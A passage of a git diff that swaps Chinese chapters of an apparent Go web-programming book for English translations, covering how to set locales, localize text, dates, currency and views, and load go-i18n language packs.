if prefix[0] == "tw" { - i18n.SetLocale("zh-TW") - } - -通过域名设置Locale有如上所示的优点,但是我们一般开发Web应用的时候不会采用这种方式,因为首先域名成本比较高,开发一个Locale就需要一个域名,而且往往统一名称的域名不一定能申请的到,其次我们不愿意为每个站点去本地化一个配置,而更多的是采用url后面带参数的方式,请看下面的介绍。 - -### 从域名参数设置Locale -目前最常用的设置Locale的方式是在URL里面带上参数,例如www.asta.com/hello?locale=zh或者www.asta.com/zh/hello。这样我们就可以设置地区:`i18n.SetLocale(params["locale"])`。 - -这种设置方式几乎拥有前面讲的通过域名设置Locale的所有优点,它采用RESTful的方式,以使得我们不需要增加额外的方法来处理。但是这种方式需要在每一个的link里面增加相应的参数locale,这也许有点复杂而且有时候甚至相当的繁琐。不过我们可以写一个通用的函数url,让所有的link地址都通过这个函数来生成,然后在这个函数里面增加`locale=params["locale"]`参数来缓解一下。 - -也许我们希望URL地址看上去更加的RESTful一点,例如:www.asta.com/en/books(英文站点)和www.asta.com/zh/books(中文站点),这种方式的URL更加有利于SEO,而且对于用户也比较友好,能够通过URL直观的知道访问的站点。那么这样的URL地址可以通过router来获取locale(参考REST小节里面介绍的router插件实现): - - mux.Get("/:locale/books", listbook) - -### 从客户端设置地区 -在一些特殊的情况下,我们需要根据客户端的信息而不是通过URL来设置Locale,这些信息可能来自于客户端设置的喜好语言(浏览器中设置),用户的IP地址,用户在注册的时候填写的所在地信息等。这种方式比较适合Web为基础的应用。 - -- Accept-Language - -客户端请求的时候在HTTP头信息里面有`Accept-Language`,一般的客户端都会设置该信息,下面是Go语言实现的一个简单的根据`Accept-Language`实现设置地区的代码: - - AL := r.Header.Get("Accept-Language") - if AL == "en" { - i18n.SetLocale("en") - } else if AL == "zh-CN" { - i18n.SetLocale("zh-CN") - } else if AL == "zh-TW" { - i18n.SetLocale("zh-TW") - } - -当然在实际应用中,可能需要更加严格的判断来进行设置地区 -- IP地址 - - 另一种根据客户端来设定地区就是用户访问的IP,我们根据相应的IP库,对应访问的IP到地区,目前全球比较常用的就是GeoIP Lite Country这个库。这种设置地区的机制非常简单,我们只需要根据IP数据库查询用户的IP然后返回国家地区,根据返回的结果设置对应的地区。 - -- 用户profile - - 当然你也可以让用户根据你提供的下拉菜单或者别的什么方式的设置相应的locale,然后我们将用户输入的信息,保存到与它帐号相关的profile中,当用户再次登陆的时候把这个设置复写到locale设置中,这样就可以保证该用户每次访问都是基于自己先前设置的locale来获得页面。 - -## 总结 -通过上面的介绍可知,设置Locale可以有很多种方式,我们应该根据需求的不同来选择不同的设置Locale的方法,以让用户能以它最熟悉的方式,获得我们提供的服务,提高应用的用户友好性。 - -## links - * [目录]() - * 上一节: [国际化和本地化](<10.0.md>) - * 下一节: [本地化资源](<10.2.md>) +# 10.1 Time zones + +## Finding out the locale + +A locale is a set of descriptors for a particular geographical region, and can include specific language habits, text formatting, cultural idioms and a multitude of other settings. A locale's name is usually composed of three parts. First (and mandatory) is the locale's language abbreviation, such as "en" for English or "zh" for Chinese. The second part is an optional country specifier, and follows the first with an underscore. This specifier allows web applications to distinguish between different countries which speak the same language, such as "en_US" for U.S. English, and "en_UK" for British English. The last part is another optional specifier, and is added to the locale with a period. It specifies which character set to use, for instance "zh_CN.gb2312" specifies the gb2312 character set for Chinese. + +Go defaults to the "UTF-8" encoding set, so i18n in Go applications do not need to consider the last parameter. Thus, in our examples, we'll only use the first two parts of locale descriptions as our standard i18n locale names. + +> On Linux and Solaris systems, you can use the `locale -a` command to get a list of all supported regional names. You can use this list as examples of some common locales. For BSD and other systems, there is no locale command, but the regional information is stored in `/usr/share/locale`. + +## Setting the locale + +Now that we've defined what a locale is, we need to be able to set it according to visiting users' information (either from their personal settings, the visited domain name, etc.). Here are some methods we can use to set the user's locale: + +### From the domain name + +We can set a user's locale via the domain name itself when the application uses different domains for different regions. For example, we can use www.asta.com as our default English website, and the domain name www.asta.cn as its Chinese counterpart. By setting up separate domains for separate regions, you can detect and serve the requested locale. This type of setup has several advantages: + +- Identifying the locale via URL is distinctive and unambiguous +- Users intuitively know which domain names to visit for their specific region or language +- Implementing this scheme in a Go application very simple and convenient, and can be achieved through a map +- Conducive to search engine crawlers which can improve the site's SEO + +We can use the following code to implement a corresponding domain name locale: + + if r.Host == "www.asta.com" { + i18n.SetLocale("en") + } else if r.Host == "www.asta.cn" { + i18n.SetLocale("zh-CN") + } else if r.Host == "www.asta.tw" { + i18n.SetLocale("zh-TW") + } + +Alternatively, we could have also set locales through the use of sub-domain such as "en.asta.com" for English sites and "cn.asta.com" for Chinese site. This scheme can be realized in code as follows: + + prefix:= strings.Split(r.Host,".") + + if prefix[0] == "en" { + i18n.SetLocale("en") + } else if prefix[0] == "cn" { + i18n.SetLocale("zh-CN") + } else if prefix[0] == "tw" { + i18n.SetLocale("zh-TW") + } + +Setting locales from the domain name as we've done above has its advantages, however l10n is generally not implemented in this way. First of all, the cost of domain names (although usually quite affordable individually) can quickly add up given that each locale will need its own domain name, and often the name of the domain will not necessarily fit in with the local context. Secondly, we don't want to have to individually configure each website for each locale. Rather, we should be able to do this programmatically, for instance by using URL parameters. Let's have a look at the following description. + +### From URL parameters + +The most common way of implementing l10n is to set the desired locale directly in the URL parameters, such `www.asta.com/hello?locale=zh` or `www.asta.com/zh/hello`. This way, we can set the region like so: `i18n.SetLocale(params["locale"])`. + +This setup has almost all the advantages of prepending the locale in front of the domain and it's RESTful, so we don't need to add additional methods to implement it. The downside to this approach is that it requires a corresponding locale parameter inside each link, which can be quite cumbersome and may increase complexity. However, we can write a generic function that produces these locale-specific URLs so that all links are generated through it. This function should automatically add a locale parameter to each link so when users click them, we are able to parse their requests with ease: `locale = params [" locale "]`. + +Perhaps we want our URLs to look even more RESTful. For example, we could map each of our resources under a specific locale like `www.asta.com/en/books` for our English site and `www.asta.com/zh/books` for the Chinese one. This approach is not only more conducive to URL SEO, but is also more friendly for users. Anybody visiting the site should be able to access locale-specific website resources directly from the URL. Such URL addresses can then be passed through the application router in order to obtain the proper locale (refer to the REST section, which describes the router plug-in implementation): + + mux.Get("/:locale/books", listbook) + +### From the client settings area + +In some special cases, we require explicit client information in order to set the locale rather than obtaining it from the URL or URL parameters. This information may come directly from the client's browser settings, the user's IP address, or the location settings filled out by the user at the time of registration. This approach is more suitable for web-based applications. + +- Accept-Language + +When a client requests information using an HTTP header set with the `Accept-Language` field, we can use the following Go code to parse the header and set the appropriate region code: + + AL := r.Header.Get("Accept-Language") + if AL == "en" { + i18n.SetLocale("en") + } else if AL == "zh-CN" { + i18n.SetLocale("zh-CN") + } else if AL == "zh-TW" { + i18n.SetLocale("zh-TW") + } + +Of course, in real world applications, we may require more rigorous processes and rules for setting user regions + +- IP Address + +Another way of setting a client's region is to look at the user's IP address. We can use the popular [GeoIP GeoLite Country or City libraries](http://dev.maxmind.com/geoip/legacy/geolite/) to help us relate user IP addresses to their corresponding regional areas. Implementing this mechanism is very simple: we only need to look up the user's IP address inside our database and then return locale-specific content according to which region was returned. + +- User profile + +You can also let users provide you with their locale information through an input element such as a drop-down menu (or something similar). When we receive this information, we can save it to the account associated with the user's profile. When the user logs in again, we will be able to check and set their locale settings -this guarantees that every time the user accesses the website, the returned content will be based on their previously set locale. + +## Summary + +In this section, we've demonstrated a variety of ways with which user specific locales can be detected and set. These methods included setting the user locale via domain name, subdomain name, URL parameters and directly from client settings. By catering to the specific needs of specific regions, we can provide a comfortable, familiar and intuitive environment for users to access the services that we provide. + +## Links + +- [Directory](preface.md) +- Previous one: [Internationalization and localization](10.0.md) +- Next section: [Localized resources](10.2.md) diff --git a/en/10.1.md~380a8ee74c41759d8189ad553423467994187253 b/en/10.1.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..6df68a53 --- /dev/null +++ b/en/10.1.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,85 @@ +# 10.1 设置默认地区 +## 什么是Locale +Locale是一组描述世界上某一特定区域文本格式和语言习惯的设置的集合。locale名通常由三个部分组成:第一部分,是一个强制性的,表示语言的缩写,例如"en"表示英文或"zh"表示中文。第二部分,跟在一个下划线之后,是一个可选的国家说明符,用于区分讲同一种语言的不同国家,例如"en_US"表示美国英语,而"en_UK"表示英国英语。最后一部分,跟在一个句点之后,是可选的字符集说明符,例如"zh_CN.gb2312"表示中国使用gb2312字符集。 + +GO语言默认采用"UTF-8"编码集,所以我们实现i18n时不考虑第三部分,接下来我们都采用locale描述的前面两部分来作为i18n标准的locale名。 + + +>在Linux和Solaris系统中可以通过`locale -a`命令列举所有支持的地区名,读者可以看到这些地区名的命名规范。对于BSD等系统,没有locale命令,但是地区信息存储在/usr/share/locale中。 + +## 设置Locale +有了上面对locale的定义,那么我们就需要根据用户的信息(访问信息、个人信息、访问域名等)来设置与之相关的locale,我们可以通过如下几种方式来设置用户的locale。 + +### 通过域名设置Locale +设置Locale的办法之一是在应用运行的时候采用域名分级的方式,例如,我们采用www.asta.com当做我们的英文站(默认站),而把域名www.asta.cn当做中文站。这样通过在应用里面设置域名和相应的locale的对应关系,就可以设置好地区。这样处理有几点好处: + +- 通过URL就可以很明显的识别 +- 用户可以通过域名很直观的知道将访问那种语言的站点 +- 在Go程序中实现非常的简单方便,通过一个map就可以实现 +- 有利于搜索引擎抓取,能够提高站点的SEO + +我们可以通过下面的代码来实现域名的对应locale: + + if r.Host == "www.asta.com" { + i18n.SetLocale("en") + } else if r.Host == "www.asta.cn" { + i18n.SetLocale("zh-CN") + } else if r.Host == "www.asta.tw" { + i18n.SetLocale("zh-TW") + } + +当然除了整域名设置地区之外,我们还可以通过子域名来设置地区,例如"en.asta.com"表示英文站点,"cn.asta.com"表示中文站点。实现代码如下所示: + + prefix := strings.Split(r.Host,".") + + if prefix[0] == "en" { + i18n.SetLocale("en") + } else if prefix[0] == "cn" { + i18n.SetLocale("zh-CN") + } else if prefix[0] == "tw" { + i18n.SetLocale("zh-TW") + } + +通过域名设置Locale有如上所示的优点,但是我们一般开发Web应用的时候不会采用这种方式,因为首先域名成本比较高,开发一个Locale就需要一个域名,而且往往统一名称的域名不一定能申请的到,其次我们不愿意为每个站点去本地化一个配置,而更多的是采用url后面带参数的方式,请看下面的介绍。 + +### 从域名参数设置Locale +目前最常用的设置Locale的方式是在URL里面带上参数,例如www.asta.com/hello?locale=zh或者www.asta.com/zh/hello。这样我们就可以设置地区:`i18n.SetLocale(params["locale"])`。 + +这种设置方式几乎拥有前面讲的通过域名设置Locale的所有优点,它采用RESTful的方式,以使得我们不需要增加额外的方法来处理。但是这种方式需要在每一个的link里面增加相应的参数locale,这也许有点复杂而且有时候甚至相当的繁琐。不过我们可以写一个通用的函数url,让所有的link地址都通过这个函数来生成,然后在这个函数里面增加`locale=params["locale"]`参数来缓解一下。 + +也许我们希望URL地址看上去更加的RESTful一点,例如:www.asta.com/en/books(英文站点)和www.asta.com/zh/books(中文站点),这种方式的URL更加有利于SEO,而且对于用户也比较友好,能够通过URL直观的知道访问的站点。那么这样的URL地址可以通过router来获取locale(参考REST小节里面介绍的router插件实现): + + mux.Get("/:locale/books", listbook) + +### 从客户端设置地区 +在一些特殊的情况下,我们需要根据客户端的信息而不是通过URL来设置Locale,这些信息可能来自于客户端设置的喜好语言(浏览器中设置),用户的IP地址,用户在注册的时候填写的所在地信息等。这种方式比较适合Web为基础的应用。 + +- Accept-Language + +客户端请求的时候在HTTP头信息里面有`Accept-Language`,一般的客户端都会设置该信息,下面是Go语言实现的一个简单的根据`Accept-Language`实现设置地区的代码: + + AL := r.Header.Get("Accept-Language") + if AL == "en" { + i18n.SetLocale("en") + } else if AL == "zh-CN" { + i18n.SetLocale("zh-CN") + } else if AL == "zh-TW" { + i18n.SetLocale("zh-TW") + } + +当然在实际应用中,可能需要更加严格的判断来进行设置地区 +- IP地址 + + 另一种根据客户端来设定地区就是用户访问的IP,我们根据相应的IP库,对应访问的IP到地区,目前全球比较常用的就是GeoIP Lite Country这个库。这种设置地区的机制非常简单,我们只需要根据IP数据库查询用户的IP然后返回国家地区,根据返回的结果设置对应的地区。 + +- 用户profile + + 当然你也可以让用户根据你提供的下拉菜单或者别的什么方式的设置相应的locale,然后我们将用户输入的信息,保存到与它帐号相关的profile中,当用户再次登陆的时候把这个设置复写到locale设置中,这样就可以保证该用户每次访问都是基于自己先前设置的locale来获得页面。 + +## 总结 +通过上面的介绍可知,设置Locale可以有很多种方式,我们应该根据需求的不同来选择不同的设置Locale的方法,以让用户能以它最熟悉的方式,获得我们提供的服务,提高应用的用户友好性。 + +## links + * [目录]() + * 上一节: [国际化和本地化](<10.0.md>) + * 下一节: [本地化资源](<10.2.md>) diff --git a/en/10.2.md b/en/10.2.md index 54e39903..c0a9349b 100644 --- a/en/10.2.md +++ b/en/10.2.md @@ -1,134 +1,140 @@ -# 10.2 本地化资源 -前面小节我们介绍了如何设置Locale,设置好Locale之后我们需要解决的问题就是如何存储相应的Locale对应的信息呢?这里面的信息包括:文本信息、时间和日期、货币值、图片、包含文件以及视图等资源。那么接下来我们将对这些信息一一进行介绍,Go语言中我们把这些格式信息存储在JSON中,然后通过合适的方式展现出来。(接下来以中文和英文两种语言对比举例,存储格式文件en.json和zh-CN.json) -## 本地化文本消息 -文本信息是编写Web应用中最常用到的,也是本地化资源中最多的信息,想要以适合本地语言的方式来显示文本信息,可行的一种方案是:建立需要的语言相应的map来维护一个key-value的关系,在输出之前按需从适合的map中去获取相应的文本,如下是一个简单的示例: - - package main - - import "fmt" - - var locales map[string]map[string]string - - func main() { - locales = make(map[string]map[string]string, 2) - en := make(map[string]string, 10) - en["pea"] = "pea" - en["bean"] = "bean" - locales["en"] = en - cn := make(map[string]string, 10) - cn["pea"] = "豌豆" - cn["bean"] = "毛豆" - locales["zh-CN"] = cn - lang := "zh-CN" - fmt.Println(msg(lang, "pea")) - fmt.Println(msg(lang, "bean")) - } - - func msg(locale, key string) string { - if v, ok := locales[locale]; ok { - if v2, ok := v[key]; ok { - return v2 - } - } - return "" - } - - -上面示例演示了不同locale的文本翻译,实现了中文和英文对于同一个key显示不同语言的实现,上面实现了中文的文本消息,如果想切换到英文版本,只需要把lang设置为en即可。 - -有些时候仅是key-value替换是不能满足需要的,例如"I am 30 years old",中文表达是"我今年30岁了",而此处的30是一个变量,该怎么办呢?这个时候,我们可以结合`fmt.Printf`函数来实现,请看下面的代码: - - en["how old"] ="I am %d years old" - cn["how old"] ="我今年%d岁了" - - fmt.Printf(msg(lang, "how old"), 30) - -上面的示例代码仅用以演示内部的实现方案,而实际数据是存储在JSON里面的,所以我们可以通过`json.Unmarshal`来为相应的map填充数据。 - -## 本地化日期和时间 -因为时区的关系,同一时刻,在不同的地区,表示是不一样的,而且因为Locale的关系,时间格式也不尽相同,例如中文环境下可能显示:`2012年10月24日 星期三 23时11分13秒 CST`,而在英文环境下可能显示:`Wed Oct 24 23:11:13 CST 2012`。这里面我们需要解决两点: - -1. 时区问题 -2. 格式问题 - -$GOROOT/lib/time包中的timeinfo.zip含有locale对应的时区的定义,为了获得对应于当前locale的时间,我们应首先使用`time.LoadLocation(name string)`获取相应于地区的locale,比如`Asia/Shanghai`或`America/Chicago`对应的时区信息,然后再利用此信息与调用`time.Now`获得的Time对象协作来获得最终的时间。详细的请看下面的例子(该例子采用上面例子的一些变量): - - en["time_zone"]="America/Chicago" - cn["time_zone"]="Asia/Shanghai" - - loc,_:=time.LoadLocation(msg(lang,"time_zone")) - t:=time.Now() - t = t.In(loc) - fmt.Println(t.Format(time.RFC3339)) - -我们可以通过类似处理文本格式的方式来解决时间格式的问题,举例如下: - - en["date_format"]="%Y-%m-%d %H:%M:%S" - cn["date_format"]="%Y年%m月%d日 %H时%M分%S秒" - - fmt.Println(date(msg(lang,"date_format"),t)) - - func date(fomate string,t time.Time) string{ - year, month, day = t.Date() - hour, min, sec = t.Clock() - //解析相应的%Y %m %d %H %M %S然后返回信息 - //%Y 替换成2012 - //%m 替换成10 - //%d 替换成24 - } - -## 本地化货币值 -各个地区的货币表示也不一样,处理方式也与日期差不多,细节请看下面代码: - - en["money"] ="USD %d" - cn["money"] ="¥%d元" - - fmt.Println(date(msg(lang,"date_format"),100)) - - func money_format(fomate string,money int64) string{ - return fmt.Sprintf(fomate,money) - } - - -## 本地化视图和资源 -我们可能会根据Locale的不同来展示视图,这些视图包含不同的图片、css、js等各种静态资源。那么应如何来处理这些信息呢?首先我们应按locale来组织文件信息,请看下面的文件目录安排: - - views - |--en //英文模板 - |--images //存储图片信息 - |--js //存储JS文件 - |--css //存储css文件 - index.tpl //用户首页 - login.tpl //登陆首页 - |--zh-CN //中文模板 - |--images - |--js - |--css - index.tpl - login.tpl - -有了这个目录结构后我们就可以在渲染的地方这样来实现代码: - - - s1, _ := template.ParseFiles("views"+lang+"index.tpl") - VV.Lang=lang - s1.Execute(os.Stdout, VV) - -而对于里面的index.tpl里面的资源设置如下: - - // js文件 - - // css文件 - - // 图片文件 - - -采用这种方式来本地化视图以及资源时,我们就可以很容易的进行扩展了。 - -## 总结 -本小节介绍了如何使用及存储本地资源,有时需要通过转换函数来实现,有时通过lang来设置,但是最终都是通过key-value的方式来存储Locale对应的数据,在需要时取出相应于Locale的信息后,如果是文本信息就直接输出,如果是时间日期或者货币,则需要先通过`fmt.Printf`或其他格式化函数来处理,而对于不同Locale的视图和资源则是最简单的,只要在路径里面增加lang就可以实现了。 - -## links - * [目录]() - * 上一节: [设置默认地区](<10.1.md>) - * 下一节: [国际化站点](<10.3.md>) +# 10.2 Localized Resources + +The previous section described how to set locales. After the locale has been set, we then need to address the problem of storing the information corresponding to specific locales. This information can include: textual content, time and date, currency values ​​, pictures, specific files and other view resources. In Go, all of this contextual information is stored in JSON format on our backend, to be called upon and injected into our views when users from specific regions visit our website. For example, English and Chinese content would be stored in en.json and zh-CN.json files, respectively. + +## Localized textual content + +Plain text is the most common way of representing information in web applications, and the bulk of your localized content will likely take this form. The goal is to provide textual content that is both idiomatic to regional expressions and feels natural for foreign users of your site. One solution is to create a nested map of locales, native language strings and their local counterparts. When clients request pages with some textual content, we first check their desired locale, then retrieve the corresponding strings from the appropriate map. The following snippet is a simple example of this process: + + package main + + import "fmt" + + var locales map[string]map[string]string + + func main() { + locales = make(map[string]map[string]string, 2) + en := make(map[string]string, 10) + en["pea"] = "pea" + en["bean"] = "bean" + locales["en"] = en + cn := make(map[string]string, 10) + cn["pea"] = "豌豆" + cn["bean"] = "毛豆" + locales["zh-CN"] = cn + lang := "zh-CN" + fmt.Println(msg(lang, "pea")) + fmt.Println(msg(lang, "bean")) + } + + func msg(locale, key string) string { + if v, ok := locales[locale]; ok { + if v2, ok := v[key]; ok { + return v2 + } + } + return "" + } + +The above example sets up maps of translated strings for different locales (in this case, the Chinese and English locales). We map our `cn` translations to the same English language keys so that we can reconstruct our English text message in Chinese. If we wanted to switch our text to any other locale we may have implemented, it'd be a simple matter of setting one `lang` variable. + +Simple key-value substitutions can sometimes be inadequate for our needs. For example, if we had a phrase such as "I am 30 years old" where 30 is a variable, how would we localize it? In cases like these, we can combine use the `fmt.Printf` function to achieve the desired result: + + en["how old"] = "I am %d years old" + cn["how old"] = "我今年%d岁了" + + fmt.Printf(msg(lang, "how old"), 30) + +The example code above is only for the purpose of demonstration; actual locale data is typically stored in JSON format in our database, allowing us to execute a simple `json.Unmarshal` to populate map locales with our string translations. + +## Localized date and time + +Because of our time zone conventions, the time in one region of the world can be different than the time in another region. Similarly, the way in which time is represented can also vary from locale to locale. For example, a Chinese environment may read `2012年10月24日 星期三 23时11分13秒 CST`, while in English, it might be: `Wed Oct 24 23:11:13 CST 2012`. Not only are there variations in language, but there are differences in formatting also. So, when it comes to localizing dates and times, we need to address the following two points: + +1. time zones +2. formatting issues + +The `$GOROOT/lib/time/package/timeinfo.zip` directory contains locales corresponding to time zone definitions. In order to obtain the time corresponding to a user's current locale, we should first use `time.LoadLocation(name string)` to get a Location object corresponding to our locale, passing in a string representing the locale such as `Asia/Shanghai` or `America/Chicago`. We can then use this Location object in conjunction with a Time object (obtained by calling `time.Now`) to get the final time using the Time object's `In` method. A detailed look at this process can be seen below (this example uses some of the variables from the example above): + + en["time_zone"] = "America/Chicago" + cn["time_zone"] = "Asia/Shanghai" + + loc, _ := time.LoadLocation(msg(lang, "time_zone")) + t := time.Now() + t = t.In(loc) + fmt.Println(t.Format(time.RFC3339)) + +We can handle text formatting in a similar way to solve our time formatting problem: + + en["date_format"]="%Y-%m-%d %H:%M:%S" + cn["date_format"]="%Y年%m月%d日 %H时%M分%S秒" + + fmt.Println(date(msg(lang,"date_format"),t)) + + func date(fomat string, t time.Time) string{ + year, month, day = t.Date() + hour, min, sec = t.Clock() + //Parsing the corresponding %Y%m%d%H%M%S and then returning the information + //%Y replaced by 2012 + //%m replaced by 10 + //%d replaced by 24 + } + +## Localized currency value + +Obviously, currency differs from region to region also. We can treat it the same way we treated our dates: + + en["money"] ="USD %d" + cn["money"] ="¥%d元" + + fmt.Println(date(msg(lang,"date_format"),100)) + + func money_format(fomat string, money int64) string{ + return fmt.Sprintf(fomat, money) + } + + +## Localization of views and resources + +We can serve customized views with different images, css, js and other static resources depending on the current locale. One way to accomplish this is by organizing these files into their respective locales. Here's an example: + + views + |--en //English Templates + |--images //store picture information + |--js //JS files + |--css //CSS files + index.tpl //User Home + login.tpl //Log Home + |--zh-CN //Chinese Templates + |--images + |--js + |--css + index.tpl + login.tpl + +With this directory structure, we can render locale-specific views like so: + + s1, _ := template.ParseFiles("views" + lang + "index.tpl") + VV.Lang = lang + s1.Execute(os.Stdout, VV) + +The resources referenced in the `index.tpl` file can be dealt with as follows: + + // js file + + // css file + + // Picture files + + +With dynamic views and the way we've localized our resources, we will be able to add more locales without much effort. + +## Summary + +This section described how to use and store local resources. We learned that we can use conversion functions and string interpolation for this, and saw that maps can be an effective way of storing locale-specific data. For the latter, we could simply extract the corresponding locale information when needed -if it was textual content we desired, our mapped translations and idioms could be piped directly to the output. If it was something more sophisticated like time or currency, we simply used the `fmt.Printf` function to format it before-hand. Localizing our views and resources was the easiest case, and simply involved organizing our files into their respective locales, then referencing them from their locale relative paths. + +## Links + +- [Directory](preface.md) +- Previous section: [Time zone](10.1.md) +- Next section: [[International sites](10.3.md) diff --git a/en/10.2.md~380a8ee74c41759d8189ad553423467994187253 b/en/10.2.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..2fa7488d --- /dev/null +++ b/en/10.2.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,134 @@ +# 10.2 本地化资源 +前面小节我们介绍了如何设置Locale,设置好Locale之后我们需要解决的问题就是如何存储相应的Locale对应的信息呢?这里面的信息包括:文本信息、时间和日期、货币值、图片、包含文件以及视图等资源。那么接下来我们将对这些信息一一进行介绍,Go语言中我们把这些格式信息存储在JSON中,然后通过合适的方式展现出来。(接下来以中文和英文两种语言对比举例,存储格式文件en.json和zh-CN.json) +## 本地化文本消息 +文本信息是编写Web应用中最常用到的,也是本地化资源中最多的信息,想要以适合本地语言的方式来显示文本信息,可行的一种方案是:建立需要的语言相应的map来维护一个key-value的关系,在输出之前按需从适合的map中去获取相应的文本,如下是一个简单的示例: + + package main + + import "fmt" + + var locales map[string]map[string]string + + func main() { + locales = make(map[string]map[string]string, 2) + en := make(map[string]string, 10) + en["pea"] = "pea" + en["bean"] = "bean" + locales["en"] = en + cn := make(map[string]string, 10) + cn["pea"] = "豌豆" + cn["bean"] = "毛豆" + locales["zh-CN"] = cn + lang := "zh-CN" + fmt.Println(msg(lang, "pea")) + fmt.Println(msg(lang, "bean")) + } + + func msg(locale, key string) string { + if v, ok := locales[locale]; ok { + if v2, ok := v[key]; ok { + return v2 + } + } + return "" + } + + +上面示例演示了不同locale的文本翻译,实现了中文和英文对于同一个key显示不同语言的实现,上面实现了中文的文本消息,如果想切换到英文版本,只需要把lang设置为en即可。 + +有些时候仅是key-value替换是不能满足需要的,例如"I am 30 years old",中文表达是"我今年30岁了",而此处的30是一个变量,该怎么办呢?这个时候,我们可以结合`fmt.Printf`函数来实现,请看下面的代码: + + en["how old"] ="I am %d years old" + cn["how old"] ="我今年%d岁了" + + fmt.Printf(msg(lang, "how old"), 30) + +上面的示例代码仅用以演示内部的实现方案,而实际数据是存储在JSON里面的,所以我们可以通过`json.Unmarshal`来为相应的map填充数据。 + +## 本地化日期和时间 +因为时区的关系,同一时刻,在不同的地区,表示是不一样的,而且因为Locale的关系,时间格式也不尽相同,例如中文环境下可能显示:`2012年10月24日 星期三 23时11分13秒 CST`,而在英文环境下可能显示:`Wed Oct 24 23:11:13 CST 2012`。这里面我们需要解决两点: + +1. 时区问题 +2. 格式问题 + +$GOROOT/lib/time包中的timeinfo.zip含有locale对应的时区的定义,为了获得对应于当前locale的时间,我们应首先使用`time.LoadLocation(name string)`获取相应于地区的locale,比如`Asia/Shanghai`或`America/Chicago`对应的时区信息,然后再利用此信息与调用`time.Now`获得的Time对象协作来获得最终的时间。详细的请看下面的例子(该例子采用上面例子的一些变量): + + en["time_zone"]="America/Chicago" + cn["time_zone"]="Asia/Shanghai" + + loc,_:=time.LoadLocation(msg(lang,"time_zone")) + t:=time.Now() + t = t.In(loc) + fmt.Println(t.Format(time.RFC3339)) + +我们可以通过类似处理文本格式的方式来解决时间格式的问题,举例如下: + + en["date_format"]="%Y-%m-%d %H:%M:%S" + cn["date_format"]="%Y年%m月%d日 %H时%M分%S秒" + + fmt.Println(date(msg(lang,"date_format"),t)) + + func date(fomate string,t time.Time) string{ + year, month, day = t.Date() + hour, min, sec = t.Clock() + //解析相应的%Y %m %d %H %M %S然后返回信息 + //%Y 替换成2012 + //%m 替换成10 + //%d 替换成24 + } + +## 本地化货币值 +各个地区的货币表示也不一样,处理方式也与日期差不多,细节请看下面代码: + + en["money"] ="USD %d" + cn["money"] ="¥%d元" + + fmt.Println(date(msg(lang,"date_format"),100)) + + func money_format(fomate string,money int64) string{ + return fmt.Sprintf(fomate,money) + } + + +## 本地化视图和资源 +我们可能会根据Locale的不同来展示视图,这些视图包含不同的图片、css、js等各种静态资源。那么应如何来处理这些信息呢?首先我们应按locale来组织文件信息,请看下面的文件目录安排: + + views + |--en //英文模板 + |--images //存储图片信息 + |--js //存储JS文件 + |--css //存储css文件 + index.tpl //用户首页 + login.tpl //登陆首页 + |--zh-CN //中文模板 + |--images + |--js + |--css + index.tpl + login.tpl + +有了这个目录结构后我们就可以在渲染的地方这样来实现代码: + + + s1, _ := template.ParseFiles("views"+lang+"index.tpl") + VV.Lang=lang + s1.Execute(os.Stdout, VV) + +而对于里面的index.tpl里面的资源设置如下: + + // js文件 + + // css文件 + + // 图片文件 + + +采用这种方式来本地化视图以及资源时,我们就可以很容易的进行扩展了。 + +## 总结 +本小节介绍了如何使用及存储本地资源,有时需要通过转换函数来实现,有时通过lang来设置,但是最终都是通过key-value的方式来存储Locale对应的数据,在需要时取出相应于Locale的信息后,如果是文本信息就直接输出,如果是时间日期或者货币,则需要先通过`fmt.Printf`或其他格式化函数来处理,而对于不同Locale的视图和资源则是最简单的,只要在路径里面增加lang就可以实现了。 + +## links + * [目录]() + * 上一节: [设置默认地区](<10.1.md>) + * 下一节: [国际化站点](<10.3.md>) diff --git a/en/10.3.md b/en/10.3.md index a61185b1..6d1ef4cb 100644 --- a/en/10.3.md +++ b/en/10.3.md @@ -1,180 +1,184 @@ -# 10.3 国际化站点 -前面小节介绍了如何处理本地化资源,即Locale一个相应的配置文件,那么如果处理多个的本地化资源呢?而对于一些我们经常用到的例如:简单的文本翻译、时间日期、数字等如果处理呢?本小节将一一解决这些问题。 -## 管理多个本地包 -在开发一个应用的时候,首先我们要决定是只支持一种语言,还是多种语言,如果要支持多种语言,我们则需要制定一个组织结构,以方便将来更多语言的添加。在此我们设计如下:Locale有关的文件放置在config/locales下,假设你要支持中文和英文,那么你需要在这个文件夹下放置en.json和zh.json。大概的内容如下所示: - - # zh.json - - { - "zh": { - "submit": "提交", - "create": "创建" - } - } - - #en.json - - { - "en": { - "submit": "Submit", - "create": "Create" - } - } - -为了支持国际化,在此我们使用了一个国际化相关的包——[go-i18n](https://github.com/astaxie/go-i18n),首先我们向go-i18n包注册config/locales这个目录,以加载所有的locale文件 - - Tr:=i18n.NewLocale() - Tr.LoadPath("config/locales") - -这个包使用起来很简单,你可以通过下面的方式进行测试: - - fmt.Println(Tr.Translate("submit")) - //输出Submit - Tr.SetLocale("zn") - fmt.Println(Tr.Translate("submit")) - //输出“递交” - -## 自动加载本地包 -上面我们介绍了如何自动加载自定义语言包,其实go-i18n库已经预加载了很多默认的格式信息,例如时间格式、货币格式,用户可以在自定义配置时改写这些默认配置,请看下面的处理过程: - - - //加载默认配置文件,这些文件都放在go-i18n/locales下面 - - //文件命名zh.json、en-json、en-US.json等,可以不断的扩展支持更多的语言 - - func (il *IL) loadDefaultTranslations(dirPath string) error { - dir, err := os.Open(dirPath) - if err != nil { - return err - } - defer dir.Close() - - names, err := dir.Readdirnames(-1) - if err != nil { - return err - } - - for _, name := range names { - fullPath := path.Join(dirPath, name) - - fi, err := os.Stat(fullPath) - if err != nil { - return err - } - - if fi.IsDir() { - if err := il.loadTranslations(fullPath); err != nil { - return err - } - } else if locale := il.matchingLocaleFromFileName(name); locale != "" { - file, err := os.Open(fullPath) - if err != nil { - return err - } - defer file.Close() - - if err := il.loadTranslation(file, locale); err != nil { - return err - } - } - } - - return nil - } - -通过上面的方法加载配置信息到默认的文件,这样我们就可以在我们没有自定义时间信息的时候执行如下的代码获取对应的信息: - - //locale=zh的情况下,执行如下代码: - - fmt.Println(Tr.Time(time.Now())) - //输出:2009年1月08日 星期四 20:37:58 CST - - fmt.Println(Tr.Time(time.Now(),"long")) - //输出:2009年1月08日 - - 